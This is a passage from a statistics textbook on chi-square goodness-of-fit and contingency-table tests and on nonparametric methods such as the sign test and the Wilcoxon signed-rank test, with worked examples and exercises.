2. **Null hypothesis:** H_0: The form of the distribution of defects is Poisson.
3. **Alternative hypothesis:** H_1: The form of the distribution of defects is not Poisson.
4. **Test statistic:** The test statistic is
$$\chi_0^2 = \sum_{i=1}^{k} \frac{(o_i - E_i)^2}{E_i}$$
5. **Reject H_0 if:** Reject H_0 if the P-value is less than 0.05.
6. **Computations:**
$$\chi_0^2 = \frac{(32 - 28.32)^2}{28.32} + \frac{(15 - 21.24)^2}{21.24} + \frac{(13 - 10.44)^2}{10.44} = 2.94$$
7. **Conclusions:** We find from Appendix Table III that $\chi^2_{0.10,1} = 2.71$ and $\chi^2_{0.05,1} = 3.84$. Because $\chi_0^2 = 2.94$ lies between these values, we conclude that the P-value is between 0.05 and 0.10. Therefore, since the P-value exceeds 0.05 we are unable to reject the null hypothesis that the distribution of defects in printed circuit boards is Poisson. The exact P-value computed from Minitab is 0.0864.

EXAMPLE 9-13 Power Supply Distribution
Continuous Distribution

A manufacturing engineer is testing a power supply used in a notebook computer and, using $\alpha = 0.05$, wishes to determine whether output voltage is adequately described by a normal distribution. Sample estimates of the mean and standard deviation of $\bar{x} = 5.04$ V and $s = 0.08$ V are obtained from a random sample of $n = 100$ units.

A common practice in constructing the class intervals for the frequency distribution used in the chi-square goodness-of-fit test is to choose the cell boundaries so that the expected frequencies $E_i = np_i$ are equal for all cells. To use this method, we want to choose the cell boundaries $a_0, a_1, \ldots, a_k$ for the k cells so that all the probabilities

$$p_i = P(a_{i-1} \le X \le a_i) = \int_{a_{i-1}}^{a_i} f(x)\,dx$$

are equal. Suppose we decide to use $k = 8$ cells. For the standard normal distribution, the intervals that divide the scale into eight equally likely segments are [0, 0.32), [0.32, 0.675), [0.675, 1.15), [1.15, ∞), and their four "mirror image" intervals on the other side of zero. For each interval $p_i = 1/8 = 0.125$, so the expected cell frequencies are $E_i = np_i = 100(0.125) = 12.5$. The complete table of observed and expected frequencies is as follows:

Class Interval	Observed Frequency o_i	Expected Frequency E_i
$x < 4.948$	12	12.5
$4.948 \le x < 4.986$	14	12.5
$4.986 \le x < 5.014$	12	12.5
$5.014 \le x < 5.040$	13	12.5
$5.040 \le x < 5.066$	12	12.5
$5.066 \le x < 5.094$	11	12.5
$5.094 \le x < 5.132$	12	12.5
$5.132 \le x$	14	12.5
Totals	100	100

The boundary of the first class interval is $\bar{x} - 1.15s = 4.948$. The second class interval is $[\bar{x} - 1.15s, \bar{x} - 0.675s)$ and so forth. We may apply the seven-step hypothesis-testing procedure to this problem.

1. **Parameter of Interest:** The variable of interest is the form of the distribution of power supply voltage.
2. **Null hypothesis:** H_0: The form of the distribution is normal.
3. **Alternative hypothesis:** H_1: The form of the distribution is nonnormal.
4. **Test statistic:** The test statistic is

$$\chi_0^2 = \sum_{i=1}^{k} \frac{(o_i - E_i)^2}{E_i}$$

5. **Reject H_0 if:** Since two parameters in the normal distribution have been estimated, the chi-square statistic above will have $k - p - 1 = 8 - 2 - 1 = 5$ degrees of freedom. We will use a fixed significance level test with $\alpha = 0.05$. Therefore, we will reject H_0 if $\chi_0^2 > \chi_{0.05,5}^2 = 11.07$.
6. **Computations:**

$$\begin{aligned}\chi_0^2 &= \sum_{i=1}^{8} \frac{(o_i - E_i)^2}{E_i} \\ &= \frac{(12 - 12.5)^2}{12.5} + \frac{(14 - 12.5)^2}{12.5} + \cdots + \frac{(14 - 12.5)^2}{12.5} \\ &= 0.64\end{aligned}$$

7. **Conclusions:** Since $\chi_0^2 = 0.64 < \chi_{0.05,5}^2 = 11.07$, we are unable to reject H_0, and there is no strong evidence to indicate that output voltage is not normally distributed. The P-value for the chi-square statistic $\chi_0^2 = 0.64$ is $P = 0.9861$.

EXERCISES FOR SECTION 9-7

9-96. Consider the following frequency table of observations on the random variable X.

Values	0	1	2	3	4
Observed Frequency	24	30	31	11	4

(a) Based on these 100 observations, is a Poisson distribution with a mean of 1.2 an appropriate model? Perform a goodness-of-fit procedure with $\alpha = 0.05$.
(b) Calculate the P-value for this test.

9-97. Let X denote the number of flaws observed on a large coil of galvanized steel. Seventy-five coils are inspected and the following data were observed for the values of X:

Values	1	2	3	4	5	6	7	8
Observed Frequency	1	11	8	13	11	12	10	9

(a) Does the assumption of the Poisson distribution seem appropriate as a probability model for these data? Use $\alpha = 0.01$.
(b) Calculate the P-value for this test.

9-98. The number of calls arriving at a switchboard from noon to 1:00 P.M. during the business days Monday through Friday is monitored for six weeks (i.e., 30 days). Let X be defined as the number of calls during that one-hour period. The relative frequency of calls was recorded and reported as

Value	5	6	8	9	10
Relative Frequency	0.067	0.067	0.100	0.133	0.200
Value	11	12	13	14	15
Relative Frequency	0.133	0.133	0.067	0.033	0.067

(a) Does the assumption of a Poisson distribution seem appropriate as a probability model for this data? Use $\alpha = 0.05$.
(b) Calculate the P-value for this test.

9-99. Consider the following frequency table of observations on the random variable X:

Values	0	1	2	3	4
Frequency	4	21	10	13	2

(a) Based on these 50 observations, is a binomial distribution with $n = 6$ and $p = 0.25$ an appropriate model? Perform a goodness-of-fit procedure with $\alpha = 0.05$.
(b) Calculate the P-value for this test.

9-100. Define X as the number of underfilled bottles from a filling operation in a carton of 24 bottles. Seventy-five cartons are inspected and the following observations on X are recorded:

Values	0	1	2	3
Frequency	39	23	12	1

(a) Based on these 75 observations, is a binomial distribution an appropriate model? Perform a goodness-of-fit procedure with $\alpha = 0.05$.
(b) Calculate the P-value for this test.

9-101. The number of cars passing eastbound through the intersection of Mill and University Avenues has been tabulated by a group of civil engineering students. They have obtained the data in the adjacent table:
(a) Does the assumption of a Poisson distribution seem appropriate as a probability model for this process? Use $\alpha = 0.05$.
(b) Calculate the P-value for this test.

Vehicles per Minute	Observed Frequency	Vehicles per Minute	Observed Frequency
40	14	53	102
41	24	54	96
42	57	55	90
43	111	56	81
44	194	57	73
45	256	58	64
46	296	59	61
47	378	60	59
48	250	61	50
49	185	62	42
50	171	63	29
51	150	64	18
52	110	65	15

9-102. Reconsider Exercise 6-71. The data were the number of earthquakes per year of magnitude 7.0 and greater since 1900.
(a) Use computer software to summarize these data into a frequency distribution. Test the hypothesis that the number of earthquakes of magnitude 7.0 or greater each year follows a Poisson distribution at $\alpha = 0.05$.
(b) Calculate the P-value for the test.

9-8 CONTINGENCY TABLE TESTS

Many times, the n elements of a sample from a population may be classified according to two different criteria. It is then of interest to know whether the two methods of classification are statistically independent; for example, we may consider the population of graduating engineers, and we may wish to determine whether starting salary is independent of academic disciplines. Assume that the first method of classification has r levels and that the second method has c levels. We will let O_{ij} be the observed frequency for level i of the first classification method and level j on the second classification method. The data would, in general, appear as shown in Table 9-2. Such a table is usually called an $\boldsymbol{r \times c}$ **contingency table.**

Table 9-2 An $r \times c$ Contingency Table

		Columns			
		1	2	…	c
Rows	1	O_{11}	O_{12}	…	O_{1c}
	2	O_{21}	O_{22}	…	O_{2c}
	⋮	⋮	⋮	⋮	⋮
	r	O_{r1}	O_{r2}	…	O_{rc}

We are interested in testing the hypothesis that the row-and-column methods of classification are independent. If we reject this hypothesis, we conclude there is some interaction between the two criteria of classification. The exact test procedures are difficult to obtain, but an approximate test statistic is valid for large n. Let p_{ij} be the probability that a randomly selected element falls in the ijth cell, given that the two classifications are independent. Then $p_{ij} = u_i v_j$, where u_i is the probability that a randomly selected element falls in row class i and v_j is the probability that a randomly selected element falls in column class j. Now, assuming independence, the estimators of u_i and v_j are

$$\hat{u}_i = \frac{1}{n}\sum_{j=1}^{c} O_{ij}$$
$$\hat{v}_j = \frac{1}{n}\sum_{i=1}^{r} O_{ij} \tag{9-48}$$

Therefore, the expected frequency of each cell is

$$E_{ij} = n\hat{u}_i\hat{v}_j = \frac{1}{n}\sum_{j=1}^{c} O_{ij}\sum_{i=1}^{r} O_{ij} \tag{9-49}$$

Then, for large n, the statistic

$$\chi_0^2 = \sum_{i=1}^{r}\sum_{j=1}^{c}\frac{(O_{ij} - E_{ij})^2}{E_{ij}} \tag{9-50}$$

has an approximate chi-square distribution with $(r-1)(c-1)$ degrees of freedom if the null hypothesis is true. We should reject the null hypothesis if the value of the test statistic χ_0^2 is too large. The P-value would be calculated as the probability beyond χ_0^2 on the $\chi^2_{(r-1)(c-1)}$ distribution, or $P = p(\chi^2_{(r-1)(c-1)} > \chi_0^2)$. For a fixed-level test, we would reject the hypothesis of independence if the observed value of the test statistic χ_0^2 exceeded $\chi^2_{\alpha,(r-1)(c-1)}$.

EXAMPLE 9-14 Health Insurance Plan Preference

A company has to choose among three health insurance plans. Management wishes to know whether the preference for plans is independent of job classification and wants to use $\alpha = 0.05$. The opinions of a random sample of 500 employees are shown in Table 9-3.

Table 9-3 Observed Data for Example 9-14

	Health Insurance Plan			
Job Classification	1	2	3	Totals
Salaried workers	160	140	40	340
Hourly workers	40	60	60	160
Totals	200	200	100	500

Table 9-4 Expected Frequencies for Example 9-14

	Health Insurance Plan			
Job Classification	1	2	3	Totals
Salaried workers	136	136	68	340
Hourly workers	64	64	32	160
Totals	200	200	100	500

To find the expected frequencies, we must first compute $\hat{u}_1 = (340/500) = 0.68$, $\hat{u}_2 = (160/500) = 0.32$, $\hat{v}_1 = (200/500) = 0.40$, $\hat{v}_2 = (200/500) = 0.40$, and $\hat{v}_3 = (100/500) = 0.20$. The expected frequencies may now be computed from Equation 9-49. For example, the expected number of salaried workers favoring health insurance plan 1 is

$$E_{11} = n\hat{u}_1\hat{v}_1 = 500(0.68)(0.40) = 136$$

The expected frequencies are shown in Table 9-4.

The seven-step hypothesis-testing procedure may now be applied to this problem.

1. **Parameter of Interest:** The variable of interest is employee preference among health insurance plans.
2. **Null hypothesis:** H_0: Preference is independent of salaried versus hourly job classification.
3. **Alternative hypothesis:** H_1: Preference is not independent of salaried versus hourly job classification.
4. **Test statistic:** The test statistic is

$$\chi_0^2 = \sum_{i=1}^{r}\sum_{j=1}^{c}\frac{(o_{ij} - E_{ij})^2}{E_{ij}}$$

5. **Reject H_0 if:** We will use a fixed-significance level test with $\alpha = 0.05$. Therefore, since $r = 2$ and $c = 3$, the degrees of freedom for chi-square are $(r - 1)(c - 1) = (1)(2) = 2$, and we would reject H_0 if $\chi_0^2 > \chi_{0.05,2}^2 = 5.99$.
6. **Computations:**

$$\chi_0^2 = \sum_{i=1}^{2}\sum_{j=1}^{3}\frac{(o_{ij} - E_{ij})^2}{E_{ij}}$$
$$= \frac{(160 - 136)^2}{136} + \frac{(140 - 136)^2}{136} + \frac{(40 - 68)^2}{68} + \frac{(40 - 64)^2}{64} + \frac{(60 - 64)^2}{64} + \frac{(60 - 32)^2}{32}$$
$$= 49.63$$

7. **Conclusions:** Since $\chi_0^2 = 49.63 > \chi_{0.05,2}^2 = 5.99$, we reject the hypothesis of independence and conclude that the preference for health insurance plans is not independent of job classification. The P-value for $\chi_0^2 = 49.63$ is $P = 1.671 \times 10^{-11}$. (This value was computed from computer software.) Further analysis would be necessary to explore the nature of the association between these factors. It might be helpful to examine the table of observed minus expected frequencies.

Using the two-way contingency table to test independence between two variables of classification in a sample from a single population of interest is only one application of contingency table methods. Another common situation occurs when there are r populations of interest and each population is divided into the same c categories. A sample is then taken from the ith population, and the counts are entered in the appropriate columns of the ith row. In this situation we want to investigate whether or not the proportions in the c categories are the same for all populations. The null hypothesis in this problem states that the populations are **homogeneous** with respect to the categories. For example, when there are only two categories, such as success and failure, defective and nondefective, and so on, the test for homogeneity is really a test of the equality of r binomial parameters. Calculation of expected frequencies, determination of degrees of freedom, and computation of the chi-square statistic for the test for homogeneity are identical to the test for independence.

EXERCISES FOR SECTION 9-8

9-103. A company operates four machines in three shifts each day. From production records, the following data on the number of breakdowns are collected:

	Machines			
Shift	*A*	*B*	*C*	*D*
1	41	20	12	16
2	31	11	9	14
3	15	17	16	10

Test the hypothesis (using $\alpha = 0.05$) that breakdowns are independent of the shift. Find the *P*-value for this test.

9-104. Patients in a hospital are classified as surgical or medical. A record is kept of the number of times patients require nursing service during the night and whether or not these patients are on Medicare. The data are presented here:

	Patient Category	
Medicare	Surgical	Medical
Yes	46	52
No	36	43

Test the hypothesis (using $\alpha = 0.01$) that calls by surgical-medical patients are independent of whether the patients are receiving Medicare. Find the *P*-value for this test.

9-105. Grades in a statistics course and an operations research course taken simultaneously were as follows for a group of students.

	Operation Research Grade			
Statistics Grade	*A*	*B*	*C*	Other
A	25	6	17	13
B	17	16	15	6
C	18	4	18	10
Other	10	8	11	20

Are the grades in statistics and operations research related? Use $\alpha = 0.01$ in reaching your conclusion. What is the *P*-value for this test?

9-106. An experiment with artillery shells yields the following data on the characteristics of lateral deflections and ranges. Would you conclude that deflection and range are independent? Use $\alpha = 0.05$. What is the *P*-value for this test?

	Lateral Deflection		
Range (yards)	Left	Normal	Right
0–1,999	6	14	8
2,000–5,999	9	11	4
6,000–11,999	8	17	6

9-107. A study is being made of the failures of an electronic component. There are four types of failures possible and two mounting positions for the device. The following data have been taken:

	Failure Type			
Mounting Position	*A*	*B*	*C*	*D*
1	22	46	18	9
2	4	17	6	12

Would you conclude that the type of failure is independent of the mounting position? Use $\alpha = 0.01$. Find the *P*-value for this test.

9-108. A random sample of students is asked their opinions on a proposed core curriculum change. The results are as follows.

	Opinion	
Class	Favoring	Opposing
Freshman	120	80
Sophomore	70	130
Junior	60	70
Senior	40	60

Test the hypothesis that opinion on the change is independent of class standing. Use $\alpha = 0.05$. What is the *P*-value for this test?

9-109. An article in the *British Medical Journal* [“Comparison of Treatment of Renal Calculi by Operative Surgery, Percutaneous Nephrolithotomy, and Extracorporeal Shock Wave Lithotripsy” (1986, Vol. 292, pp. 879–882)] found that percutaneous nephrolithotomy (PN) had a success rate in removing kidney stones of 289 out of 350 (83%) patients. However, when the stone diameter was considered, the results looked different. For stones of <2 cm, 87% (234/270) of cases were successful. For stones of ≥ 2 cm, a success rate of 69% (55/80) was observed for PN.

(a) Are the successes and size of stones independent? Use $\alpha = 0.05$.

(b) Find the *P*-value for this test.

9-9 NONPARAMETRIC PROCEDURES

Most of the hypothesis-testing and confidence interval procedures discussed previously are based on the assumption that we are working with random samples from normal populations. Traditionally, we have called these procedures **parametric** methods because they are based on a particular parametric family of distributions—in this case, the normal. Alternately, sometimes we say that these procedures are not distribution-free because they depend on the assumption of normality. Fortunately, most of these procedures are relatively insensitive to moderate departures from normality. In general, the t- and F-tests and the t-confidence intervals will have actual levels of significance or confidence levels that differ from the nominal or advertised levels chosen by the experimenter, although the difference between the actual and advertised levels is usually fairly small when the underlying population is not too different from the normal.

In this section we describe procedures called nonparametric and distribution-free methods, and we usually make no assumptions about the distribution of the underlying population other than that it is continuous. These procedures have actual level of significance α or confidence level $100(1 - \alpha)$ % for many different types of distributions. These procedures have some appeal. One of their advantages is that the data need not be quantitative but can be categorical (such as yes or no, defective or nondefective) or rank data. Another advantage is that nonparametric procedures are usually very quick and easy to perform.

The procedures described in this chapter are alternatives to the parametric t- and F-procedures described earlier. Consequently, it is important to compare the performance of both parametric and nonparametric methods under the assumptions of both normal and nonnormal populations. In general, nonparametric procedures do not utilize all the information provided by the sample. As a result, a nonparametric procedure will be less efficient than the corresponding parametric procedure when the underlying population is normal. This loss of efficiency is reflected by a requirement of a larger sample size for the nonparametric procedure than would be required by the parametric procedure in order to achieve the same power. On the other hand, this loss of efficiency is usually not large, and often the difference in sample size is very small. When the underlying distributions are not close to normal, nonparametric methods may have much to offer. They often provide improvement over the normal-theory parametric methods. Generally, if both parametric and nonparametric methods are applicable to a particular problem, we should use the more efficient parametric procedure.

Another approach that can be used is to **transform** the original data, say, by taking logarithms, square roots, or a reciprocal, and then analyze the transformed data using a parametric technique. A normal probability plot often works well to see if the transformation has been successful. When this approach is successful, it is usually preferable to using a nonparametric technique. However, sometimes transformations are not satisfactory. That is, no transformation makes the sample observations look very close to a sample from a normal distribution. One situation where this happens is when the data are in the form of **ranks.** These situations frequently occur in practice. For instance, a panel of judges may be used to evaluate 10 different formulations of a soft-drink beverage for overall quality, with the "best" formulation assigned rank 1, the "next-best" formulation assigned rank 2, and so forth. It is unlikely that rank data satisfy the normality assumption. Transformations may not prove satisfactory either. Many nonparametric methods involve the analysis of ranks and consequently are directly suited to this type of problem.

9-9.1 The Sign Test

The **sign test** is used to test hypotheses about the **median** $\tilde{\mu}$ of α continuous distribution. The median of a distribution is a value of the random variable X such that the probability is 0.5 that

an observed value of X is less than or equal to the median, and the probability is 0.5 that an observed value of X is greater than or equal to the median. That is, $P(X \leq \tilde{\mu}) = P(X \geq \tilde{\mu}) = 0.5$

Since the normal distribution is symmetric, the mean of a normal distribution equals the median. Therefore, the sign test can be used to test hypotheses about the mean of a normal distribution. This is the same problem for which we previously used the t-test. We will briefly discuss the relative merits of the two procedures in Section 9-9.3 Note that, although the t-test was designed for samples from a normal distribution, the sign test is appropriate for samples from any continuous distribution. Thus, the sign test is a nonparametric procedure.

Suppose that the hypotheses are

$$\begin{aligned} H_0&: \tilde{\mu} = \tilde{\mu}_0 \\ H_1&: \tilde{\mu} < \tilde{\mu}_0 \end{aligned} \tag{9-51}$$

The test procedure is easy to describe. Suppose that $X_1, X_2, \ldots, X_n$ is a random sample from the population of interest. Form the differences

$$X_i - \tilde{\mu}_0, \qquad i = 1, 2, \ldots, n \tag{9-52}$$

Now if the null hypothesis $H_0: \tilde{\mu} = \tilde{\mu}_0$ is true, any difference $X_i - \tilde{\mu}_0$ is equally likely to be positive or negative. An appropriate test statistic is the number of these differences that are positive, say, R^+. Therefore, to test the null hypothesis we are really testing that the number of plus signs is a value of a binomial random variable that has the parameter $p = 1/2$. A P-value for the observed number of plus signs r^+ can be calculated directly from the binomial distribution. For instance, in testing the hypotheses in Equation 9-51, we will reject H_0 in favor of H_1 only if the proportion of plus signs is sufficiently less than 1/2 (or equivalently, whenever the observed number of plus signs r^+ is too small). Thus, if the computed P-value

$$P = P\left(R^+ \leq r^+ \text{ when } p = \frac{1}{2}\right)$$

is less than or equal to some preselected significance level α, we will reject H_0 and conclude H_1 is true.

To test the other one-sided hypotheses

$$\begin{aligned} H_0&: \tilde{\mu} = \tilde{\mu}_0 \\ H_1&: \tilde{\mu} > \tilde{\mu}_0 \end{aligned} \tag{9-53}$$

we will reject H_0 in favor of H_1 only if the observed number of plus signs, say, r^+, is large or, equivalently, whenever the observed fraction of plus signs is significantly greater than 1/2. Thus, if the computed P-value

$$P = P\left(R^+ \geq r^+ \text{ when } p = \frac{1}{2}\right)$$

is less than α, we will reject H_0 and conclude that H_1 is true.

The two-sided alternative may also be tested. If the hypotheses are

$$\begin{aligned} H_0&: \tilde{\mu} = \tilde{\mu}_0 \\ H_1&: \tilde{\mu} \neq \tilde{\mu}_0 \end{aligned} \tag{9-54}$$

we should reject $H_0: \tilde{\mu} = \tilde{\mu}_0$ if the proportion of plus signs is significantly different from (either less than or greater than) 1/2. This is equivalent to the observed number of plus signs r^+

being either sufficiently large or sufficiently small. Thus, if $r^+ < n/2$, the P-value is

$$P = 2P\left(R^+ \le r^+ \text{ when } p = \frac{1}{2}\right)$$

and if $r^+ > n/2$, the P-value is

$$P = 2P\left(R^+ \ge r^+ \text{ when } p = \frac{1}{2}\right)$$

If the P-value is less than some preselected level α, we will reject H_0 and conclude that H_1 is true.

EXAMPLE 9-15 Propellant Shear Strength Sign Test

Montgomery, Peck, and Vining (2006) report on a study in which a rocket motor is formed by binding an igniter propellant and a sustainer propellant together inside a metal housing. The shear strength of the bond between the two propellant types is an important characteristic. The results of testing 20 randomly selected motors are shown in Table 9-5. We would like to test the hypothesis that the median shear strength is 2000 psi, using $\alpha = 0.05$.

This problem can be solved using the eight-step hypothesis-testing procedure:

1. **Parameter of Interest:** The parameter of interest is the median of the distribution of propellant shear strength.
2. **Null hypothesis:** H_0: $\tilde{\mu} = 2000$ psi
3. **Alternative hypothesis:** H_1: $\tilde{\mu} \neq 2000$ psi
4. **Test statistic:** The test statistic is the observed number of plus differences in Table 9-5, or $r^+ = 14$.
5. **Reject H_0 if:** We will reject H_0 if the P-value corresponding to $r^+ = 14$ is less than or equal to $\alpha = 0.05$.

Table 9-5 Propellant Shear Strength Data

Observation i	Shear Strength x_i	Differences $x_i - 2000$	Sign
1	2158.70	+158.70	+
2	1678.15	−321.85	−
3	2316.00	+316.00	+
4	2061.30	+61.30	+
5	2207.50	+207.50	+
6	1708.30	−291.70	−
7	1784.70	−215.30	−
8	2575.10	+575.10	+
9	2357.90	+357.90	+
10	2256.70	+256.70	+
11	2165.20	+165.20	+
12	2399.55	+399.55	+
13	1779.80	−220.20	−
14	2336.75	+336.75	+
15	1765.30	−234.70	−
16	2053.50	+53.50	+
17	2414.40	+414.40	+
18	2200.50	+200.50	+
19	2654.20	+654.20	+
20	1753.70	−246.30	−

6. **Computations:** Since $r^+ = 14$ is greater than $n/2 = 20/2 = 10$, we calculate the P-value from

$$P = 2P\left(R^+ \geq 14 \text{ when } p = \frac{1}{2}\right)$$
$$= 2\sum_{r=14}^{20}\binom{20}{r}(0.5)^r(0.5)^{20-r}$$
$$= 0.1153$$

7. **Conclusions:** Since $P = 0.1153$ is not less than $\alpha = 0.05$, we cannot reject the null hypothesis that the median shear strength is 2000 psi. Another way to say this is that the observed number of plus signs $r^+ = 14$ was not large or small enough to indicate that median shear strength is different from 2000 psi at the $\alpha = 0.05$ level of significance.

It is also possible to construct a table of critical values for the sign test. This table is shown as Appendix Table VIII. The use of this table for the two-sided alternative hypothesis in Equation 9-54 is simple. As before, let R^+ denote the number of the differences $(X_i - \tilde{\mu}_0)$ that are positive and let R^- denote the number of these differences that are negative. Let $R = \min(R^+, R^-)$. Appendix Table VIII presents critical values r^*_α for the sign test that ensure that P (type I error) $= P$ (reject H_0 when H_0 is true) $= \alpha$ for $\alpha = 0.01$, $\alpha = 0.05$ and $\alpha = 0.10$. If the observed value of the test statistic $r \leq r^*_\alpha$, the null hypothesis H_0: $\tilde{\mu} = \tilde{\mu}_0$ should be rejected.

To illustrate how this table is used, refer to the data in Table 9-5 that were used in Example 9-15. Now $r^+ = 14$ and $r^- = 6$; therefore, $r = \min(14, 6) = 6$. From Appendix Table VIII with $n = 20$ and $\alpha = 0.05$, we find that $r^*_{0.05} = 5$. Since $r = 6$ is not less than or equal to the critical value $r^*_{0.05} = 5$, we cannot reject the null hypothesis that the median shear strength is 2000 psi.

We can also use Appendix Table VIII for the sign test when a one-sided alternative hypothesis is appropriate. If the alternative is H_1: $\tilde{\mu} > \tilde{\mu}_0$, reject H_0: $\tilde{\mu} = \tilde{\mu}_0$ if $r^- \leq r^*_\alpha$; if the alternative is H_1: $\tilde{\mu} > \tilde{\mu}_0$, reject H_0: $\tilde{\mu} = \tilde{\mu}_0$ if $r^+ \leq r^*_\alpha$. The level of significance of a one-sided test is one-half the value for a two-sided test. Appendix Table VIII shows the one-sided significance levels in the column headings immediately below the two-sided levels.

Finally, note that when a test statistic has a discrete distribution such as R does in the sign test, it may be impossible to choose a critical value r^*_α that has a level of significance exactly equal to α. The approach used in Appendix Table VIII is to choose r^*_α to yield an α that is as close to the advertised significance level α as possible.

Ties in the Sign Test

Since the underlying population is assumed to be continuous, there is a zero probability that we will find a "tie"—that is, a value of X_i exactly equal to $\tilde{\mu}_0$. However, this may sometimes happen in practice because of the way the data are collected. When ties occur, they should be set aside and the sign test applied to the remaining data.

The Normal Approximation

When $p = 0.5$, the binomial distribution is well approximated by a normal distribution when n is at least 10. Thus, since the mean of the binomial is np and the variance is $np(1 - p)$, the distribution of R^+ is approximately normal with mean $0.5n$ and variance $0.25n$ whenever n is moderately large. Therefore, in these cases the null hypothesis H_0: $\tilde{\mu} = \tilde{\mu}_0$ can be tested using the statistic

Normal Approximation for Sign Test Statistic

$$Z_0 = \frac{R^+ - 0.5n}{0.5\sqrt{n}} \tag{9-55}$$

A P-value approach could be used for decision making. The fixed significance level approach could also be used.

The two-sided alternative would be rejected if the observed value of the test statistic $|z_0| > z_{\alpha/2}$, and the critical regions of the one-sided alternative would be chosen to reflect the sense of the alternative. (If the alternative is H_1: $\tilde{\mu} > \tilde{\mu}_0$, reject H_0 if $z_0 > z_\alpha$, for example.)

Type II Error for the Sign Test

The sign test will control the probability of type I error at an advertised level α for testing the null hypothesis H_0: $\tilde{\mu} = \tilde{\mu}$ for any continuous distribution. As with any hypothesis-testing procedure, it is important to investigate the probability of a type II error, β. The test should be able to effectively detect departures from the null hypothesis, and a good measure of this effectiveness is the value of β for departures that are important. A small value of β implies an effective test procedure.

In determining β, it is important to realize not only that a particular value of $\tilde{\mu}$, say, $\tilde{\mu}_0 + \Delta$, must be used but also that the **form** of the underlying distribution will affect the calculations. To illustrate, suppose that the underlying distribution is normal with $\sigma = 1$ and we are testing the hypothesis H_0: $\tilde{\mu} = 2$ versus H_1: $\tilde{\mu} > 2$. (Since $\tilde{\mu} = \mu$ in the normal distribution, this is equivalent to testing that the mean equals 2.) Suppose that it is important to detect a departure from $\tilde{\mu} = 2$ to $\tilde{\mu} = 3$. The situation is illustrated graphically in Fig. 9-15(a). When the alternative hypothesis is true (H_1: $\tilde{\mu} = 3$), the probability that the random variable X is less than or equal to the value 2 is

$$P(X \le 2) = P(Z \le -1) = \Phi(-1) = 0.1587$$

Suppose we have taken a random sample of size 12. At the $\alpha = 0.05$ level, Appendix Table VIII indicates that we would reject H_0: $\tilde{\mu} = 2$ if $r^- \le r^*_{0.05} = 2$. Therefore, β is the probability that we do not reject H_0: $\tilde{\mu} = 2$ when in fact $\tilde{\mu} = 3$, or

$$\beta = 1 - \sum_{x=0}^{2} \binom{12}{x} (0.1587)^x (0.8413)^{12-x} = 0.2944$$

If the distribution of X had been exponential rather than normal, the situation would be as shown in Fig. 9-15(b), and the probability that the random variable X is less than or equal to the value $x = 2$ when $\tilde{\mu} = 3$ (note that when the median of an exponential distribution is 3, the mean is 4.33) is

$$P(X \le 2) = \int_0^2 \frac{1}{4.33} e^{-\frac{1}{4.33}x} \, dx = 0.3699$$

In this case,

$$\beta = 1 - \sum_{x=0}^{2} \binom{12}{x} (0.3699)^x (0.6301)^{12-x} = 0.8794$$

Thus, β for the sign test depends not only on the alternative value of $\tilde{\mu}$ but also on the area to the right of the value specified in the null hypothesis under the population probability

Figure 9-15 Calculation of β for the sign test. (a) Normal distributions. (b) Exponential distributions.

distribution. This area is highly dependent on the shape of that particular probability distribution. In this example, β is large so the ability of the test to detect this departure from the null hypothesis with the current sample size is poor.

9-9.2 The Wilcoxon Signed-Rank Test

The sign makes use only of the plus and minus signs of the differences between the observations and the median $\tilde{\mu}_0$ (or the plus and minus signs of the differences between the observations in the paired case). It does not take into account the size or magnitude of these differences. Frank Wilcoxon devised a test procedure that uses both direction (sign) and magnitude. This procedure, now called the **Wilcoxon signed-rank test**, is discussed and illustrated in this section.

The Wilcoxon signed-rank test applies to the case of **symmetric continuous distributions.** Under these assumptions, the mean equals the median, and we can use this procedure to test the null hypothesis $\mu = \mu_0$.

The Test Procedure

We are interested in testing H_0: $\mu = \mu_0$ against the usual alternatives. Assume that X_1, $X_2, \ldots, X_n$ is a random sample from a continuous and symmetric distribution with mean (and median) μ. Compute the differences $X_i - \mu_0$, $i = 1, 2, \ldots, n$. Rank the absolute differences $|X_i - \mu_0|$, $i = 1, 2, \ldots, n$ in ascending order, and then give the ranks the signs of their corresponding differences. Let W^+ be the sum of the positive ranks and W^- be the absolute

value of the sum of the negative ranks, and let $W = \min(W^+, W)$. Appendix Table IX contains critical values of W, say, w^*_α. If the alternative hypothesis is H_1: $\mu \neq \mu_0$, then if the observed value of the statistic $w \leq w^*_\alpha$, the null hypothesis H_0: $\mu = \mu_0$ is rejected. Appendix Table IX provides significance levels of $\alpha = 0.10$, $\alpha = 0.05$, $\alpha = 0.02$, $\alpha = 0.01$ for the two-sided test.

For one-sided tests, if the alternative is H_1: $\mu > \mu_0$, reject H_0: $\mu = \mu_0$ if $w^- \leq w^*_\alpha$; and if the alternative is H_1: $\mu < \mu_0$, reject H_0: $\mu = \mu_0$ if $w^+ \leq w^*_\alpha$. The significance levels for one-sided tests provided in Appendix Table IX are $\alpha = 0.05$, 0.025, 0.01, and 0.005.

EXAMPLE 9-16 **Propellant Shear Strength Wilcoxon Signed-Rank Test**

We will illustrate the Wilcoxon signed-rank test by applying it to the propellant shear strength data from Table 9-5. Assume that the underlying distribution is a continuous symmetric distribution. The seven-step procedure is applied as follows:

1. **Parameter of Interest:** The parameter of interest is the mean (or median) of the distribution of propellant shear strength.
2. **Null hypothesis:** H_0: $\mu = 2000$ psi
3. **Alternative hypothesis:** H_1: $\mu \neq 2000$ psi
4. **Test statistic:** The test statistic is

$$w = \min(w^+, w^-)$$

5. **Reject H_0 if:** We will reject H_0 if $w \leq w^*_{0.05} = 52$ from Appendix Table IX.
6. **Computations:** The signed ranks from Table 9-5 are shown in the following display:

Observation	Difference $x_i - 2000$	Signed Rank
16	+53.50	+1
4	+61.30	+2
1	+158.70	+3
11	+165.20	+4
18	+200.50	+5
5	+207.50	+6
7	−215.30	−7
13	−220.20	−8
15	−234.70	−9
20	−246.30	−10
10	+256.70	+11
6	−291.70	−12
3	+316.00	+13
2	−321.85	−14
14	+336.75	+15
9	+357.90	+16
12	+399.55	+17
17	+414.40	+18
8	+575.10	+19
19	+654.20	+20

The sum of the positive ranks is $w^+ = (1 + 2 + 3 + 4 + 5 + 6 + 11 + 13 + 15 + 16 + 17 + 18 + 19 + 20) = 150$, and the sum of the absolute values of the negative ranks is $w^- = (7 + 8 + 9 + 10 + 12 + 14) = 60$. Therefore,

$$w = \min(150, 60) = 60$$

7. **Conclusions:** Since $w = 60$ is not less than or equal to the critical value $w_{0.05} = 52$, we cannot reject the null hypothesis that the mean (or median, since the population is assumed to be symmetric) shear strength is 2000 psi.

continued

Ties in the Wilcoxon Signed-Rank Test

